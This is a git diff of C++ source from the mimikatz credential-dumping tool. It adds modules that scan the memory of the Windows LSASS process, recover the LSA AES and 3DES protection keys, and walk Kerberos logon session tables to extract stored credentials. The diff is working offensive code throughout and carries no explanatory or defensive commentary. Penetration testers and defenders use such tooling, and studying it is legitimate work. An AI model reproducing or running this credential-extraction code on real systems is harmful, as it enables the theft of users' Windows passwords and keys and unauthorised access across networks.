Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "keys_nt6.h"
|
||||
HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL;
|
||||
PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL;
|
||||
mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL;
|
||||
BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL;
|
||||
|
||||
BYTE kiwiRandom3DES[24], kiwiRandomAES[16];
|
||||
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D};
|
||||
LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3;
|
||||
LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long));
|
||||
LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3;
|
||||
LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long));
|
||||
LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3;
|
||||
|
||||
BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D};
|
||||
LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3;
|
||||
LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long));
|
||||
LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3;
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68};
|
||||
LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long));
|
||||
LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long));
|
||||
LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY);
|
||||
|
||||
BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68};
|
||||
LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long));
|
||||
LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long));
|
||||
LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY);
|
||||
#endif
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData()
|
||||
{
|
||||
if(!hBCrypt)
|
||||
hBCrypt = LoadLibrary(L"bcrypt");
|
||||
|
||||
PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY;
|
||||
ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY;
|
||||
LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector;
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY;
|
||||
SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY);
|
||||
OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey;
|
||||
#ifdef _M_X64
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey;
|
||||
OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector;
|
||||
}
|
||||
else
|
||||
{
|
||||
OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey;
|
||||
OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector;
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey;
|
||||
OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector;
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY;
|
||||
SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY);
|
||||
OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey;
|
||||
OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey;
|
||||
OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector;
|
||||
}
|
||||
|
||||
PBYTE ptrBase = NULL;
|
||||
DWORD mesSucces = 0;
|
||||
if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY))
|
||||
{
|
||||
#ifdef _M_X64
|
||||
LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4;
|
||||
PBYTE InitializationVector = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_InitializationVector));
|
||||
hAesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey));
|
||||
h3DesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey));
|
||||
hAesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)));
|
||||
h3DesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)));
|
||||
#elif defined _M_IX86
|
||||
PBYTE InitializationVector = *reinterpret_cast<PBYTE * >(ptrBase + OFFS_WNT6_InitializationVector);
|
||||
hAesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_hAesKey);
|
||||
h3DesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_h3DesKey);
|
||||
hAesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2);
|
||||
h3DesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2);
|
||||
#endif
|
||||
if(hBCrypt && LsaInitializeProtectedMemory())
|
||||
{
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
|
||||
KIWI_BCRYPT_KEY maCle;
|
||||
KIWI_BCRYPT_KEY_DATA maCleData;
|
||||
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes à la fin, la structure de départ n'était pas inutile ;)
|
||||
mesSucces++;
|
||||
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
}
|
||||
else wcout << L"LsaInitializeProtectedMemory NT6 KO" << endl;
|
||||
}
|
||||
else wcout << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl;
|
||||
|
||||
return (mesSucces == 3);
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData()
|
||||
{
|
||||
if(hBCrypt)
|
||||
{
|
||||
LsaCleanupProtectedMemory();
|
||||
FreeLibrary(hBCrypt);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory()
|
||||
{
|
||||
bool resultat = false;
|
||||
|
||||
PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast<PBCRYPT_OPEN_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider"));
|
||||
PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast<PBCRYPT_SET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptSetProperty"));
|
||||
PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast<PBCRYPT_GET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptGetProperty"));
|
||||
PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast<PBCRYPT_GENERATE_SYMMETRIC_KEY>(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey"));
|
||||
|
||||
if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) &&
|
||||
NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0)))
|
||||
{
|
||||
if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) &&
|
||||
NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0)))
|
||||
{
|
||||
DWORD DES3KeyLen, AESKeyLen, cbLen;
|
||||
|
||||
if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) &&
|
||||
NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0)))
|
||||
{
|
||||
DES3Key = new BYTE[DES3KeyLen];
|
||||
AESKey = new BYTE[AESKeyLen];
|
||||
|
||||
resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) &&
|
||||
NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0));
|
||||
}
|
||||
}
|
||||
}
|
||||
return resultat;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory()
|
||||
{
|
||||
PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast<PBCRYTP_DESTROY_KEY>(GetProcAddress(hBCrypt, "BCryptDestroyKey"));
|
||||
PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast<PBCRYTP_CLOSE_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider"));
|
||||
|
||||
if (h3DesKey )
|
||||
K_BCryptDestroyKey(*h3DesKey);
|
||||
if (hAesKey )
|
||||
K_BCryptDestroyKey(*hAesKey);
|
||||
|
||||
if (h3DesProvider)
|
||||
K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0);
|
||||
if (hAesProvider )
|
||||
K_BCryptCloseAlgorithmProvider(*hAesProvider, 0);
|
||||
|
||||
if(DES3Key)
|
||||
delete[] DES3Key;
|
||||
if(AESKey)
|
||||
delete[] AESKey;
|
||||
|
||||
return true;
|
||||
}
|
@ -0,0 +1,45 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_keys_nt6 {
|
||||
|
||||
private:
|
||||
static HMODULE hBCrypt;
|
||||
|
||||
typedef struct _KIWI_BCRYPT_KEY_DATA {
|
||||
DWORD size;
|
||||
DWORD tag;
|
||||
DWORD type;
|
||||
DWORD unk0;
|
||||
DWORD unk1;
|
||||
DWORD unk2;
|
||||
DWORD unk3;
|
||||
PVOID unk4;
|
||||
BYTE data; /* etc... */
|
||||
} KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA;
|
||||
|
||||
typedef struct _KIWI_BCRYPT_KEY {
|
||||
DWORD size;
|
||||
DWORD type;
|
||||
PVOID unk0;
|
||||
PKIWI_BCRYPT_KEY_DATA cle;
|
||||
PVOID unk1;
|
||||
} KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;
|
||||
|
||||
static PBYTE DES3Key, AESKey;
|
||||
static PKIWI_BCRYPT_KEY * hAesKey, * h3DesKey;
|
||||
static BCRYPT_ALG_HANDLE * hAesProvider, * h3DesProvider;
|
||||
|
||||
static bool LsaInitializeProtectedMemory();
|
||||
static bool LsaCleanupProtectedMemory();
|
||||
|
||||
public:
|
||||
static bool searchAndInitLSASSData();
|
||||
static bool uninitLSASSData();
|
||||
};
|
@ -0,0 +1,134 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "kerberos.h"
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL;
|
||||
mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast<mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION>(NULL);
|
||||
long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0;
|
||||
PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL);
|
||||
|
||||
bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getKerberosLogonData, wstring(L"kerberos")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d};
|
||||
LONG OFFS_WALL_KerbUnloadLogonSessionTable = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
|
||||
|
||||
BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0x48, 0x3b, 0xfe, 0x0f, 0x84};
|
||||
LONG OFFS_WALL_KerbFreeLogonSessionList = -4;
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53};
|
||||
LONG OFFS_WNO8_KerbUnloadLogonSessionTable = -(3 + 4);
|
||||
BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC
|
||||
LONG OFFS_WIN8_KerbUnloadLogonSessionTable = -(6 + 4);
|
||||
|
||||
BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8};
|
||||
LONG OFFS_WALL_KerbFreeLogonSessionList = -4;
|
||||
#endif
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList))
|
||||
{
|
||||
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
pointeur= reinterpret_cast<PBYTE *>(&KerbLogonSessionList);
|
||||
pattern = PTRN_WALL_KerbFreeLogonSessionList;
|
||||
taille = sizeof(PTRN_WALL_KerbFreeLogonSessionList);
|
||||
offset = OFFS_WALL_KerbFreeLogonSessionList;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 2)
|
||||
offsetMagic = 8;
|
||||
}
|
||||
else
|
||||
{
|
||||
pointeur= reinterpret_cast<PBYTE *>(&KerbGlobalLogonSessionTable);
|
||||
|
||||
#ifdef _M_X64
|
||||
pattern = PTRN_WALL_KerbUnloadLogonSessionTable;
|
||||
taille = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
|
||||
offset = OFFS_WALL_KerbUnloadLogonSessionTable;
|
||||
#elif defined _M_IX86
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
pattern = PTRN_WNO8_KerbUnloadLogonSessionTable;
|
||||
taille = sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable);
|
||||
offset = OFFS_WNO8_KerbUnloadLogonSessionTable;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC
|
||||
PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c;
|
||||
pattern = PTRN_WIN8_KerbUnloadLogonSessionTable;
|
||||
taille = sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable);
|
||||
offset = OFFS_WIN8_KerbUnloadLogonSessionTable;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
if(HMODULE monModule = LoadLibrary(L"kerberos"))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset);
|
||||
*pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
FreeLibrary(monModule);
|
||||
}
|
||||
}
|
||||
return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList));
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchKerberosFuncs())
|
||||
{
|
||||
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
|
||||
DWORD taille;
|
||||
BYTE * monBuff = NULL;
|
||||
|
||||
if(KerbGlobalLogonSessionTable)
|
||||
{
|
||||
taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL);
|
||||
monBuff = new BYTE[taille];
|
||||
|
||||
if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId)))
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(monBuff);
|
||||
mesCreds = &pLogSession->credentials;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic;
|
||||
monBuff = new BYTE[taille];
|
||||
if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId)))
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(monBuff);
|
||||
if(offsetMagic != 0)
|
||||
pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(reinterpret_cast<PBYTE>(pLogSession) + offsetMagic);
|
||||
mesCreds = &pLogSession->credentials;
|
||||
}
|
||||
}
|
||||
}
|
||||
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity);
|
||||
delete [] monBuff;
|
||||
}
|
||||
else wcout << L"n.a. (kerberos KO)";
|
||||
|
||||
return true;
|
||||
}
|
@ -0,0 +1,70 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_kerberos {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_KERBEROS_LOGON_SESSION
|
||||
{
|
||||
struct _KIWI_KERBEROS_LOGON_SESSION *Flink;
|
||||
struct _KIWI_KERBEROS_LOGON_SESSION *Blink;
|
||||
DWORD UsageCount;
|
||||
PVOID unk0;
|
||||
PVOID unk1;
|
||||
PVOID unk2;
|
||||
DWORD unk3;
|
||||
DWORD unk4;
|
||||
PVOID unk5;
|
||||
PVOID unk6;
|
||||
PVOID unk7;
|
||||
LUID LocallyUniqueIdentifier;
|
||||
#ifdef _M_IX86
|
||||
DWORD unk8;
|
||||
#endif
|
||||
DWORD unk9;
|
||||
DWORD unk10;
|
||||
PVOID unk11;
|
||||
DWORD unk12;
|
||||
DWORD unk13;
|
||||
PVOID unk14;
|
||||
PVOID unk15;
|
||||
PVOID unk16;
|
||||
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
|
||||
} KIWI_KERBEROS_LOGON_SESSION, *PKIWI_KERBEROS_LOGON_SESSION;
|
||||
|
||||
typedef struct _KIWI_KERBEROS_PRIMARY_CREDENTIAL
|
||||
{
|
||||
DWORD unk0;
|
||||
PVOID unk1;
|
||||
PVOID unk2;
|
||||
PVOID unk3;
|
||||
#ifdef _M_X64
|
||||
BYTE unk4[32];
|
||||
#elif defined _M_IX86
|
||||
BYTE unk4[20];
|
||||
#endif
|
||||
LUID LocallyUniqueIdentifier;
|
||||
#ifdef _M_X64
|
||||
BYTE unk5[44];
|
||||
#elif defined _M_IX86
|
||||
BYTE unk5[36];
|
||||
#endif
|
||||
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
|
||||
} KIWI_KERBEROS_PRIMARY_CREDENTIAL, *PKIWI_KERBEROS_PRIMARY_CREDENTIAL;
|
||||
|
||||
static PKIWI_KERBEROS_LOGON_SESSION KerbLogonSessionList;
|
||||
static long offsetMagic;
|
||||
static PRTL_AVL_TABLE KerbGlobalLogonSessionTable;
|
||||
static bool searchKerberosFuncs();
|
||||
|
||||
public:
|
||||
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModKERBEROS;
|
||||
static bool getKerberos(vector<wstring> * arguments);
|
||||
static bool WINAPI getKerberosLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
@ -0,0 +1,69 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "livessp.h"
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_livessp::pModLIVESSP = NULL;
|
||||
mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY mod_mimikatz_sekurlsa_livessp::LiveGlobalLogonSessionList = NULL;//reinterpret_cast<mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY>(NULL);
|
||||
|
||||
bool mod_mimikatz_sekurlsa_livessp::getLiveSSP(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getLiveSSPLogonData, wstring(L"livessp")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
